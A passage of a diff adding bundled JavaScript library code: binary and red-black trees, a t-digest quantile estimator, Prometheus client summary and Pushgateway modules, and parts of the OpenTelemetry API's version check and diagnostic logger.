"node_modules/.pnpm/bintrees@1.0.2/node_modules/bintrees/lib/rbtree.js"(exports, module) { + var TreeBase = require_treebase(); + function Node(data) { + this.data = data; + this.left = null; + this.right = null; + this.red = true; + } + Node.prototype.get_child = function(dir) { + return dir ? this.right : this.left; + }; + Node.prototype.set_child = function(dir, val) { + if (dir) { + this.right = val; + } else { + this.left = val; + } + }; + function RBTree(comparator) { + this._root = null; + this._comparator = comparator; + this.size = 0; + } + RBTree.prototype = new TreeBase(); + RBTree.prototype.insert = function(data) { + var ret2 = false; + if (this._root === null) { + this._root = new Node(data); + ret2 = true; + this.size++; + } else { + var head = new Node(void 0); + var dir = 0; + var last = 0; + var gp = null; + var ggp = head; + var p = null; + var node = this._root; + ggp.right = this._root; + while (true) { + if (node === null) { + node = new Node(data); + p.set_child(dir, node); + ret2 = true; + this.size++; + } else if (is_red(node.left) && is_red(node.right)) { + node.red = true; + node.left.red = false; + node.right.red = false; + } + if (is_red(node) && is_red(p)) { + var dir2 = ggp.right === gp; + if (node === p.get_child(last)) { + ggp.set_child(dir2, single_rotate(gp, !last)); + } else { + ggp.set_child(dir2, double_rotate(gp, !last)); + } + } + var cmp = this._comparator(node.data, data); + if (cmp === 0) { + break; + } + last = dir; + dir = cmp < 0; + if (gp !== null) { + ggp = gp; + } + gp = p; + p = node; + node = node.get_child(dir); + } + this._root = head.right; + } + this._root.red = false; + return ret2; + }; + RBTree.prototype.remove = function(data) { + if (this._root === null) { + return false; + } + var head = new Node(void 0); + var node = head; + node.right = this._root; + var p = null; + var gp = null; + var found = null; + var dir = 1; + while (node.get_child(dir) !== null) { + var last = dir; + gp = p; + p = node; + node = node.get_child(dir); + var cmp = this._comparator(data, node.data); + dir = cmp > 0; + if (cmp === 0) { + found = node; + } + if (!is_red(node) && !is_red(node.get_child(dir))) { + if (is_red(node.get_child(!dir))) { + var sr = single_rotate(node, dir); + p.set_child(last, sr); + p = sr; + } else if (!is_red(node.get_child(!dir))) { + var sibling = p.get_child(!last); + if (sibling !== null) { + if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { + p.red = false; + sibling.red = true; + node.red = true; + } else { + var dir2 = gp.right === p; + if (is_red(sibling.get_child(last))) { + gp.set_child(dir2, double_rotate(p, last)); + } else if (is_red(sibling.get_child(!last))) { + gp.set_child(dir2, single_rotate(p, last)); + } + var gpc = gp.get_child(dir2); + gpc.red = true; + node.red = true; + gpc.left.red = false; + gpc.right.red = false; + } + } + } + } + } + if (found !== null) { + found.data = node.data; + p.set_child(p.right === node, node.get_child(node.left === null)); + this.size--; + } + this._root = head.right; + if (this._root !== null) { + this._root.red = false; + } + return found !== null; + }; + function is_red(node) { + return node !== null && node.red; + } + function single_rotate(root, dir) { + var save = root.get_child(!dir); + root.set_child(!dir, save.get_child(dir)); + save.set_child(dir, root); + root.red = true; + save.red = false; + return save; + } + function double_rotate(root, dir) { + root.set_child(!dir, single_rotate(root.get_child(!dir), !dir)); + return single_rotate(root, dir); + } + module.exports = RBTree; + } +}); + +// node_modules/.pnpm/bintrees@1.0.2/node_modules/bintrees/lib/bintree.js +var require_bintree = __commonJS({ + "node_modules/.pnpm/bintrees@1.0.2/node_modules/bintrees/lib/bintree.js"(exports, module) { + var TreeBase = require_treebase(); + function Node(data) { + this.data = data; + this.left = null; + this.right = null; + } + Node.prototype.get_child = function(dir) { + return dir ? this.right : this.left; + }; + Node.prototype.set_child = function(dir, val) { + if (dir) { + this.right = val; + } else { + this.left = val; + } + }; + function BinTree(comparator) { + this._root = null; + this._comparator = comparator; + this.size = 0; + } + BinTree.prototype = new TreeBase(); + BinTree.prototype.insert = function(data) { + if (this._root === null) { + this._root = new Node(data); + this.size++; + return true; + } + var dir = 0; + var p = null; + var node = this._root; + while (true) { + if (node === null) { + node = new Node(data); + p.set_child(dir, node); + ret = true; + this.size++; + return true; + } + if (this._comparator(node.data, data) === 0) { + return false; + } + dir = this._comparator(node.data, data) < 0; + p = node; + node = node.get_child(dir); + } + }; + BinTree.prototype.remove = function(data) { + if (this._root === null) { + return false; + } + var head = new Node(void 0); + var node = head; + node.right = this._root; + var p = null; + var found = null; + var dir = 1; + while (node.get_child(dir) !== null) { + p = node; + node = node.get_child(dir); + var cmp = this._comparator(data, node.data); + dir = cmp > 0; + if (cmp === 0) { + found = node; + } + } + if (found !== null) { + found.data = node.data; + p.set_child(p.right === node, node.get_child(node.left === null)); + this._root = head.right; + this.size--; + return true; + } else { + return false; + } + }; + module.exports = BinTree; + } +}); + +// node_modules/.pnpm/bintrees@1.0.2/node_modules/bintrees/index.js +var require_bintrees = __commonJS({ + "node_modules/.pnpm/bintrees@1.0.2/node_modules/bintrees/index.js"(exports, module) { + module.exports = { + RBTree: require_rbtree(), + BinTree: require_bintree() + }; + } +}); + +// node_modules/.pnpm/tdigest@0.1.3/node_modules/tdigest/tdigest.js +var require_tdigest = __commonJS({ + "node_modules/.pnpm/tdigest@0.1.3/node_modules/tdigest/tdigest.js"(exports, module) { + var RBTree = require_bintrees().RBTree; + function TDigest(delta, K, CX) { + this.discrete = delta === false; + this.delta = delta || 0.01; + this.K = K === void 0 ? 25 : K; + this.CX = CX === void 0 ? 1.1 : CX; + this.centroids = new RBTree(compare_centroid_means); + this.nreset = 0; + this.reset(); + } + TDigest.prototype.reset = function() { + this.centroids.clear(); + this.n = 0; + this.nreset += 1; + this.last_cumulate = 0; + }; + TDigest.prototype.size = function() { + return this.centroids.size; + }; + TDigest.prototype.toArray = function(everything) { + var result = []; + if (everything) { + this._cumulate(true); + this.centroids.each(function(c) { + result.push(c); + }); + } else { + this.centroids.each(function(c) { + result.push({ mean: c.mean, n: c.n }); + }); + } + return result; + }; + TDigest.prototype.summary = function() { + var approx = this.discrete ? "exact " : "approximating "; + var s = [ + approx + this.n + " samples using " + this.size() + " centroids", + "min = " + this.percentile(0), + "Q1 = " + this.percentile(0.25), + "Q2 = " + this.percentile(0.5), + "Q3 = " + this.percentile(0.75), + "max = " + this.percentile(1) + ]; + return s.join("\n"); + }; + function compare_centroid_means(a, b2) { + return a.mean > b2.mean ? 1 : a.mean < b2.mean ? -1 : 0; + } + function compare_centroid_mean_cumns(a, b2) { + return a.mean_cumn - b2.mean_cumn; + } + TDigest.prototype.push = function(x, n) { + n = n || 1; + x = Array.isArray(x) ? x : [x]; + for (var i = 0; i < x.length; i++) { + this._digest(x[i], n); + } + }; + TDigest.prototype.push_centroid = function(c) { + c = Array.isArray(c) ? c : [c]; + for (var i = 0; i < c.length; i++) { + this._digest(c[i].mean, c[i].n); + } + }; + TDigest.prototype._cumulate = function(exact) { + if (this.n === this.last_cumulate || !exact && this.CX && this.CX > this.n / this.last_cumulate) { + return; + } + var cumn = 0; + this.centroids.each(function(c) { + c.mean_cumn = cumn + c.n / 2; + cumn = c.cumn = cumn + c.n; + }); + this.n = this.last_cumulate = cumn; + }; + TDigest.prototype.find_nearest = function(x) { + if (this.size() === 0) { + return null; + } + var iter = this.centroids.lowerBound({ mean: x }); + var c = iter.data() === null ? iter.prev() : iter.data(); + if (c.mean === x || this.discrete) { + return c; + } + var prev = iter.prev(); + if (prev && Math.abs(prev.mean - x) < Math.abs(c.mean - x)) { + return prev; + } else { + return c; + } + }; + TDigest.prototype._new_centroid = function(x, n, cumn) { + var c = { mean: x, n, cumn }; + this.centroids.insert(c); + this.n += n; + return c; + }; + TDigest.prototype._addweight = function(nearest, x, n) { + if (x !== nearest.mean) { + nearest.mean += n * (x - nearest.mean) / (nearest.n + n); + } + nearest.cumn += n; + nearest.mean_cumn += n / 2; + nearest.n += n; + this.n += n; + }; + TDigest.prototype._digest = function(x, n) { + var min = this.centroids.min(); + var max = this.centroids.max(); + var nearest = this.find_nearest(x); + if (nearest && nearest.mean === x) { + this._addweight(nearest, x, n); + } else if (nearest === min) { + this._new_centroid(x, n, 0); + } else if (nearest === max) { + this._new_centroid(x, n, this.n); + } else if (this.discrete) { + this._new_centroid(x, n, nearest.cumn); + } else { + var p = nearest.mean_cumn / this.n; + var max_n = Math.floor(4 * this.n * this.delta * p * (1 - p)); + if (max_n - nearest.n >= n) { + this._addweight(nearest, x, n); + } else { + this._new_centroid(x, n, nearest.cumn); + } + } + this._cumulate(false); + if (!this.discrete && this.K && this.size() > this.K / this.delta) { + this.compress(); + } + }; + TDigest.prototype.bound_mean = function(x) { + var iter = this.centroids.upperBound({ mean: x }); + var lower = iter.prev(); + var upper = lower.mean === x ? lower : iter.next(); + return [lower, upper]; + }; + TDigest.prototype.p_rank = function(x_or_xlist) { + var xs = Array.isArray(x_or_xlist) ? x_or_xlist : [x_or_xlist]; + var ps = xs.map(this._p_rank, this); + return Array.isArray(x_or_xlist) ? ps : ps[0]; + }; + TDigest.prototype._p_rank = function(x) { + if (this.size() === 0) { + return void 0; + } else if (x < this.centroids.min().mean) { + return 0; + } else if (x > this.centroids.max().mean) { + return 1; + } + this._cumulate(true); + var bound = this.bound_mean(x); + var lower = bound[0], upper = bound[1]; + if (this.discrete) { + return lower.cumn / this.n; + } else { + var cumn = lower.mean_cumn; + if (lower !== upper) { + cumn += (x - lower.mean) * (upper.mean_cumn - lower.mean_cumn) / (upper.mean - lower.mean); + } + return cumn / this.n; + } + }; + TDigest.prototype.bound_mean_cumn = function(cumn) { + this.centroids._comparator = compare_centroid_mean_cumns; + var iter = this.centroids.upperBound({ mean_cumn: cumn }); + this.centroids._comparator = compare_centroid_means; + var lower = iter.prev(); + var upper = lower && lower.mean_cumn === cumn ? lower : iter.next(); + return [lower, upper]; + }; + TDigest.prototype.percentile = function(p_or_plist) { + var ps = Array.isArray(p_or_plist) ? p_or_plist : [p_or_plist]; + var qs = ps.map(this._percentile, this); + return Array.isArray(p_or_plist) ? qs : qs[0]; + }; + TDigest.prototype._percentile = function(p) { + if (this.size() === 0) { + return void 0; + } + this._cumulate(true); + var h = this.n * p; + var bound = this.bound_mean_cumn(h); + var lower = bound[0], upper = bound[1]; + if (upper === lower || lower === null || upper === null) { + return (lower || upper).mean; + } else if (!this.discrete) { + return lower.mean + (h - lower.mean_cumn) * (upper.mean - lower.mean) / (upper.mean_cumn - lower.mean_cumn); + } else if (h <= lower.cumn) { + return lower.mean; + } else { + return upper.mean; + } + }; + function pop_random(choices) { + var idx = Math.floor(Math.random() * choices.length); + return choices.splice(idx, 1)[0]; + } + TDigest.prototype.compress = function() { + if (this.compressing) { + return; + } + var points = this.toArray(); + this.reset(); + this.compressing = true; + while (points.length > 0) { + this.push_centroid(pop_random(points)); + } + this._cumulate(true); + this.compressing = false; + }; + function Digest(config2) { + this.config = config2 || {}; + this.mode = this.config.mode || "auto"; + TDigest.call(this, this.mode === "cont" ? config2.delta : false); + this.digest_ratio = this.config.ratio || 0.9; + this.digest_thresh = this.config.thresh || 1e3; + this.n_unique = 0; + } + Digest.prototype = Object.create(TDigest.prototype); + Digest.prototype.constructor = Digest; + Digest.prototype.push = function(x_or_xlist) { + TDigest.prototype.push.call(this, x_or_xlist); + this.check_continuous(); + }; + Digest.prototype._new_centroid = function(x, n, cumn) { + this.n_unique += 1; + TDigest.prototype._new_centroid.call(this, x, n, cumn); + }; + Digest.prototype._addweight = function(nearest, x, n) { + if (nearest.n === 1) { + this.n_unique -= 1; + } + TDigest.prototype._addweight.call(this, nearest, x, n); + }; + Digest.prototype.check_continuous = function() { + if (this.mode !== "auto" || this.size() < this.digest_thresh) { + return false; + } + if (this.n_unique / this.size() > this.digest_ratio) { + this.mode = "cont"; + this.discrete = false; + this.delta = this.config.delta || 0.01; + this.compress(); + return true; + } + return false; + }; + module.exports = { + "TDigest": TDigest, + "Digest": Digest + }; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/timeWindowQuantiles.js +var require_timeWindowQuantiles = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/timeWindowQuantiles.js"(exports, module) { + "use strict"; + var { TDigest } = require_tdigest(); + var TimeWindowQuantiles = class { + constructor(maxAgeSeconds, ageBuckets) { + this.maxAgeSeconds = maxAgeSeconds || 0; + this.ageBuckets = ageBuckets || 0; + this.shouldRotate = maxAgeSeconds && ageBuckets; + this.ringBuffer = Array(ageBuckets).fill(new TDigest()); + this.currentBuffer = 0; + this.lastRotateTimestampMillis = Date.now(); + this.durationBetweenRotatesMillis = maxAgeSeconds * 1e3 / ageBuckets || Infinity; + } + size() { + const bucket = rotate.call(this); + return bucket.size(); + } + percentile(quantile) { + const bucket = rotate.call(this); + return bucket.percentile(quantile); + } + push(value) { + rotate.call(this); + this.ringBuffer.forEach((bucket) => { + bucket.push(value); + }); + } + reset() { + this.ringBuffer.forEach((bucket) => { + bucket.reset(); + }); + } + compress() { + this.ringBuffer.forEach((bucket) => { + bucket.compress(); + }); + } + }; + function rotate() { + let timeSinceLastRotateMillis = Date.now() - this.lastRotateTimestampMillis; + while (timeSinceLastRotateMillis > this.durationBetweenRotatesMillis && this.shouldRotate) { + this.ringBuffer[this.currentBuffer] = new TDigest(); + if (++this.currentBuffer >= this.ringBuffer.length) { + this.currentBuffer = 0; + } + timeSinceLastRotateMillis -= this.durationBetweenRotatesMillis; + this.lastRotateTimestampMillis += this.durationBetweenRotatesMillis; + } + return this.ringBuffer[this.currentBuffer]; + } + module.exports = TimeWindowQuantiles; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/summary.js +var require_summary = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/summary.js"(exports, module) { + "use strict"; + var util = __require("util"); + var { getLabels, LabelMap } = require_util3(); + var { Metric } = require_metric(); + var timeWindowQuantiles = require_timeWindowQuantiles(); + var DEFAULT_COMPRESS_COUNT = 1e3; + var Summary = class extends Metric { + constructor(config2) { + super(config2, { + percentiles: [0.01, 0.05, 0.5, 0.9, 0.95, 0.99, 0.999], + compressCount: DEFAULT_COMPRESS_COUNT, + store: new LabelMap() + }); + if (this.labelNames.includes("quantile")) + throw new Error("quantile is a reserved label keyword"); + this.type = "summary"; + this.store = new LabelMap(this.labelNames); + if (this.labelNames.length === 0) { + this.store.set( + {}, + { + td: new timeWindowQuantiles(this.maxAgeSeconds, this.ageBuckets), + count: 0, + sum: 0 + } + ); + } + } + /** + * Observe a value. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @param {number} value - Value to observe + * @returns {void} + */ + observe(labels, value) { + observe.call(this, labels === 0 ? 0 : labels || {})(value); + } + async get() { + if (this.collect) { + const v = this.collect(); + if (v instanceof Promise) await v; + } + const values2 = []; + for (const entry of this.store.values()) { + const s = entry.value; + if (this.pruneAgedBuckets && s.td.size() === 0) { + this.store.remove(entry.labels); + } else { + values2.push(...extractSummariesForExport(s, this.percentiles)); + values2.push(getSumForExport(s, this)); + values2.push(getCountForExport(s, this)); + } + } + return { + name: this.name, + help: this.help, + type: this.type, + values: values2, + aggregator: this.aggregator + }; + } + reset() { + for (const entry of this.store.values()) { + const s = entry.value; + s.td.reset(); + s.count = 0; + s.sum = 0; + } + } + /** + * Start a timer that could be used to logging durations. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @returns {Function} - Function to invoke when you want to stop the timer and observe the duration in seconds + * @example + * var end = summary.startTimer(); + * makeExpensiveXHRRequest(function(err, res) { + * end(); //Observe the duration of expensiveXHRRequest + * }); + */ + startTimer(labels) { + return startTimer.call(this, labels)(); + } + labels(...args) { + const labels = getLabels(this.labelNames, args); + this.store.validate(labels); + return { + observe: observe.call(this, labels), + startTimer: startTimer.call(this, labels) + }; + } + remove(...args) { + const labels = getLabels(this.labelNames, args); + this.store.validate(labels); + this.store.remove(labels); + } + }; + function extractSummariesForExport(summaryOfLabels, percentiles) { + summaryOfLabels.td.compress(); + return percentiles.map((percentile) => { + const percentileValue = summaryOfLabels.td.percentile(percentile); + return { + labels: Object.assign({ quantile: percentile }, summaryOfLabels.labels), + value: percentileValue ? percentileValue : 0 + }; + }); + } + function getCountForExport(value, summary) { + return { + metricName: `${summary.name}_count`, + labels: value.labels, + value: value.count + }; + } + function getSumForExport(value, summary) { + return { + metricName: `${summary.name}_sum`, + labels: value.labels, + value: value.sum + }; + } + function startTimer(startLabels) { + return () => { + const start = process.hrtime(); + return (endLabels) => { + const delta = process.hrtime(start); + const value = delta[0] + delta[1] / 1e9; + this.observe(Object.assign({}, startLabels, endLabels), value); + return value; + }; + }; + } + function observe(labels) { + return (value) => { + const labelValuePair = convertLabelsAndValues(labels, value); + this.store.validate(labels); + if (!Number.isFinite(labelValuePair.value)) { + throw new TypeError( + `Value is not a valid number: ${util.format(labelValuePair.value)}` + ); + } + const summaryOfLabel = this.store.getOrAdd(labelValuePair.labels, () => { + return { + labels: labelValuePair.labels, + td: new timeWindowQuantiles(this.maxAgeSeconds, this.ageBuckets), + count: 0, + sum: 0 + }; + }); + summaryOfLabel.td.push(labelValuePair.value); + summaryOfLabel.count++; + if (summaryOfLabel.count % this.compressCount === 0) { + summaryOfLabel.td.compress(); + } + summaryOfLabel.sum += labelValuePair.value; + }; + } + function convertLabelsAndValues(labels, value) { + if (value === void 0) { + return { + value: labels, + labels: {} + }; + } + return { + labels, + value + }; + } + module.exports = Summary; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/pushgateway.js +var require_pushgateway = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/pushgateway.js"(exports, module) { + "use strict"; + var http = __require("http"); + var https = __require("https"); + var { gzipSync } = __require("zlib"); + var Registry2 = require_registry(); + var { globalRegistry: globalRegistry2 } = Registry2; + var Pushgateway = class { + constructor(gatewayUrl, options, registry2 = globalRegistry2) { + if (options instanceof Registry2) { + registry2 = options; + options = {}; + } + this.registry = registry2; + this.gatewayUrl = gatewayUrl; + const { requireJobName, ...requestOptions } = { + requireJobName: true, + ...options + }; + this.requireJobName = requireJobName; + this.requestOptions = requestOptions; + } + pushAdd(params = {}) { + if (this.requireJobName && !params.jobName) { + throw new Error("Missing jobName parameter"); + } + return useGateway.call(this, "POST", params.jobName, params.groupings); + } + push(params = {}) { + if (this.requireJobName && !params.jobName) { + throw new Error("Missing jobName parameter"); + } + return useGateway.call(this, "PUT", params.jobName, params.groupings); + } + delete(params = {}) { + if (this.requireJobName && !params.jobName) { + throw new Error("Missing jobName parameter"); + } + return useGateway.call(this, "DELETE", params.jobName, params.groupings); + } + }; + async function useGateway(method, job, groupings) { + const requestParams = new URL(this.gatewayUrl); + const gatewayUrlPath = requestParams.pathname && requestParams.pathname !== "/" ? requestParams.pathname : ""; + const jobPath = job ? `/job/${encodeURIComponent(job)}${generateGroupings(groupings)}` : ""; + requestParams.pathname = `${gatewayUrlPath}/metrics${jobPath}`; + const httpModule = requestParams.protocol === "https:" ? https : http; + const options = { ...this.requestOptions, method }; + return new Promise((resolve, reject) => { + if (method === "DELETE" && options.headers) { + delete options.headers["Content-Encoding"]; + } + const req = httpModule.request(requestParams, options, (resp) => { + let body = ""; + resp.setEncoding("utf8"); + resp.on("data", (chunk) => { + body += chunk; + }); + resp.on("end", () => { + if (resp.statusCode >= 400) { + reject( + new Error(`push failed with status ${resp.statusCode}, ${body}`) + ); + } else { + resolve({ resp, body }); + } + }); + }); + req.on("error", (err) => { + reject(err); + }); + req.on("timeout", () => { + req.destroy(new Error("Pushgateway request timed out")); + }); + if (method !== "DELETE") { + this.registry.metrics().then((metrics2) => { + if (options.headers && options.headers["Content-Encoding"] === "gzip") { + metrics2 = gzipSync(metrics2); + } + req.write(metrics2); + req.end(); + }).catch((err) => { + reject(err); + }); + } else { + req.end(); + } + }); + } + function generateGroupings(groupings) { + if (!groupings) { + return ""; + } + return Object.keys(groupings).map( + (key) => `/${encodeURIComponent(key)}/${encodeURIComponent(groupings[key])}` + ).join(""); + } + module.exports = Pushgateway; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/bucketGenerators.js +var require_bucketGenerators = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/bucketGenerators.js"(exports) { + "use strict"; + exports.linearBuckets = (start, width, count) => { + if (count < 1) { + throw new Error("Linear buckets needs a positive count"); + } + const buckets = new Array(count); + for (let i = 0; i < count; i++) { + buckets[i] = start + i * width; + } + return buckets; + }; + exports.exponentialBuckets = (start, factor, count) => { + if (start <= 0) { + throw new Error("Exponential buckets needs a positive start"); + } + if (count < 1) { + throw new Error("Exponential buckets needs a positive count"); + } + if (factor <= 1) { + throw new Error("Exponential buckets needs a factor greater than 1"); + } + const buckets = new Array(count); + for (let i = 0; i < count; i++) { + buckets[i] = start; + start *= factor; + } + return buckets; + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/version.js +var VERSION; +var init_version = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/version.js"() { + VERSION = "1.9.1"; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/internal/semver.js +function _makeCompatibilityCheck(ownVersion) { + const acceptedVersions = /* @__PURE__ */ new Set([ownVersion]); + const rejectedVersions = /* @__PURE__ */ new Set(); + const myVersionMatch = ownVersion.match(re); + if (!myVersionMatch) { + return () => false; + } + const ownVersionParsed = { + major: +myVersionMatch[1], + minor: +myVersionMatch[2], + patch: +myVersionMatch[3], + prerelease: myVersionMatch[4] + }; + if (ownVersionParsed.prerelease != null) { + return function isExactmatch(globalVersion) { + return globalVersion === ownVersion; + }; + } + function _reject(v) { + rejectedVersions.add(v); + return false; + } + function _accept(v) { + acceptedVersions.add(v); + return true; + } + return function isCompatible2(globalVersion) { + if (acceptedVersions.has(globalVersion)) { + return true; + } + if (rejectedVersions.has(globalVersion)) { + return false; + } + const globalVersionMatch = globalVersion.match(re); + if (!globalVersionMatch) { + return _reject(globalVersion); + } + const globalVersionParsed = { + major: +globalVersionMatch[1], + minor: +globalVersionMatch[2], + patch: +globalVersionMatch[3], + prerelease: globalVersionMatch[4] + }; + if (globalVersionParsed.prerelease != null) { + return _reject(globalVersion); + } + if (ownVersionParsed.major !== globalVersionParsed.major) { + return _reject(globalVersion); + } + if (ownVersionParsed.major === 0) { + if (ownVersionParsed.minor === globalVersionParsed.minor && ownVersionParsed.patch <= globalVersionParsed.patch) { + return _accept(globalVersion); + } + return _reject(globalVersion); + } + if (ownVersionParsed.minor <= globalVersionParsed.minor) { + return _accept(globalVersion); + } + return _reject(globalVersion); + }; +} +var re, isCompatible; +var init_semver = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/internal/semver.js"() { + init_version(); + re = /^(\d+)\.(\d+)\.(\d+)(-(.+))?$/; + isCompatible = _makeCompatibilityCheck(VERSION); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/internal/global-utils.js +function registerGlobal(type, instance, diag3, allowOverride = false) { + var _a3; + const api = _global[GLOBAL_OPENTELEMETRY_API_KEY] = (_a3 = _global[GLOBAL_OPENTELEMETRY_API_KEY]) !== null && _a3 !== void 0 ? _a3 : { + version: VERSION + }; + if (!allowOverride && api[type]) { + const err = new Error(`@opentelemetry/api: Attempted duplicate registration of API: ${type}`); + diag3.error(err.stack || err.message); + return false; + } + if (api.version !== VERSION) { + const err = new Error(`@opentelemetry/api: Registration of version v${api.version} for ${type} does not match previously registered API v${VERSION}`); + diag3.error(err.stack || err.message); + return false; + } + api[type] = instance; + diag3.debug(`@opentelemetry/api: Registered a global for ${type} v${VERSION}.`); + return true; +} +function getGlobal(type) { + var _a3, _b; + const globalVersion = (_a3 = _global[GLOBAL_OPENTELEMETRY_API_KEY]) === null || _a3 === void 0 ? void 0 : _a3.version; + if (!globalVersion || !isCompatible(globalVersion)) { + return; + } + return (_b = _global[GLOBAL_OPENTELEMETRY_API_KEY]) === null || _b === void 0 ? void 0 : _b[type]; +} +function unregisterGlobal(type, diag3) { + diag3.debug(`@opentelemetry/api: Unregistering a global for ${type} v${VERSION}.`); + const api = _global[GLOBAL_OPENTELEMETRY_API_KEY]; + if (api) { + delete api[type]; + } +} +var major, GLOBAL_OPENTELEMETRY_API_KEY, _global; +var init_global_utils = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/internal/global-utils.js"() { + init_version(); + init_semver(); + major = VERSION.split(".")[0]; + GLOBAL_OPENTELEMETRY_API_KEY = Symbol.for(`opentelemetry.js.api.${major}`); + _global = typeof globalThis === "object" ? globalThis : typeof self === "object" ? self : typeof window === "object" ? window : typeof global === "object" ? global : {}; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js +function logProxy(funcName, namespace, args) { + const logger2 = getGlobal("diag"); + if (!logger2) { + return; + } + return logger2[funcName](namespace, ...args); +} +var DiagComponentLogger; +var init_ComponentLogger = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js"() { + init_global_utils(); + DiagComponentLogger = class { + constructor(props) { + this._namespace = props.namespace || "DiagComponentLogger"; + } + debug(...args) { + return logProxy("debug", this._namespace, args); + } + error(...args) { + return logProxy("error", this._namespace, args); + } + info(...args) { + return logProxy("info", this._namespace, args); + } + warn(...args) { + return logProxy("warn", this._namespace, args); + } + verbose(...args) { + return logProxy("verbose", this._namespace, args); + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/types.js +var DiagLogLevel; +var init_types = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/types.js"() { + (function(DiagLogLevel2) { + DiagLogLevel2[DiagLogLevel2["NONE"] = 0] = "NONE"; + DiagLogLevel2[DiagLogLevel2["ERROR"] = 30] = "ERROR"; + DiagLogLevel2[DiagLogLevel2["WARN"] = 50] = "WARN"; + DiagLogLevel2[DiagLogLevel2["INFO"] = 60] = "INFO"; + DiagLogLevel2[DiagLogLevel2["DEBUG"] = 70] = "DEBUG"; + DiagLogLevel2[DiagLogLevel2["VERBOSE"] = 80] = "VERBOSE"; + DiagLogLevel2[DiagLogLevel2["ALL"] = 9999] = "ALL"; + })(DiagLogLevel || (DiagLogLevel = {})); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js +function createLogLevelDiagLogger(maxLevel, logger2) { + if (maxLevel < DiagLogLevel.NONE) { + maxLevel = DiagLogLevel.NONE; + } else if (maxLevel > DiagLogLevel.ALL) { + maxLevel = DiagLogLevel.ALL; + } + logger2 = logger2 || {}; + function _filterFunc(funcName, theLevel) { + const theFunc = logger2[funcName]; + if (typeof theFunc === "function" && maxLevel >= theLevel) { + return theFunc.bind(logger2); + } + return function() { + }; + } + return { + error: _filterFunc("error", DiagLogLevel.ERROR), + warn: _filterFunc("warn", DiagLogLevel.WARN), + info: _filterFunc("info", DiagLogLevel.INFO), + debug: _filterFunc("debug", DiagLogLevel.DEBUG), + verbose: _filterFunc("verbose", DiagLogLevel.VERBOSE) + }; +} +var init_logLevelLogger = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js"() { + init_types(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/diag.js +var API_NAME, DiagAPI; +var init_diag = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/diag.js"() { + init_ComponentLogger(); + init_logLevelLogger(); + init_types(); + init_global_utils(); + API_NAME = "diag"; + DiagAPI = class _DiagAPI { + /** Get the singleton instance of the DiagAPI API */ + static instance() { + if (!this._instance) { + this._instance = new _DiagAPI(); + } + return this._instance; + } + /** + * Private internal constructor + * @private + */ + constructor() { + function _logProxy(funcName) { + return function(...args) { + const logger2 = getGlobal("diag"); + if (!logger2) + return; + return logger2[funcName](...args); + }; + } + const self2 = this; + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + var _a3, _b, _c; + if (logger2 === self2) { + const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); + self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); + return false; + } + if (typeof optionsOrLogLevel === "number") { + optionsOrLogLevel = { + logLevel: optionsOrLogLevel + }; + } + const oldLogger = getGlobal("diag"); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); + if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { + const stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; + oldLogger.warn(`Current logger will be overwritten from ${stack}`); + newLogger.warn(`Current logger will overwrite one already registered from ${stack}`); + } + return registerGlobal("diag", newLogger, self2, true); + }; + self2.setLogger = setLogger; + self2.disable = () => { + unregisterGlobal(API_NAME, self2); + }; + self2.createComponentLogger = (options) => { + return new DiagComponentLogger(options); + }; + self2.verbose = _logProxy("verbose"); + self2.debug = _logProxy("debug"); + self2.info = _logProxy("info"); + self2.warn = _logProxy("warn"); + self2.error = _logProxy("error"); + } + }; + } +}); + +// 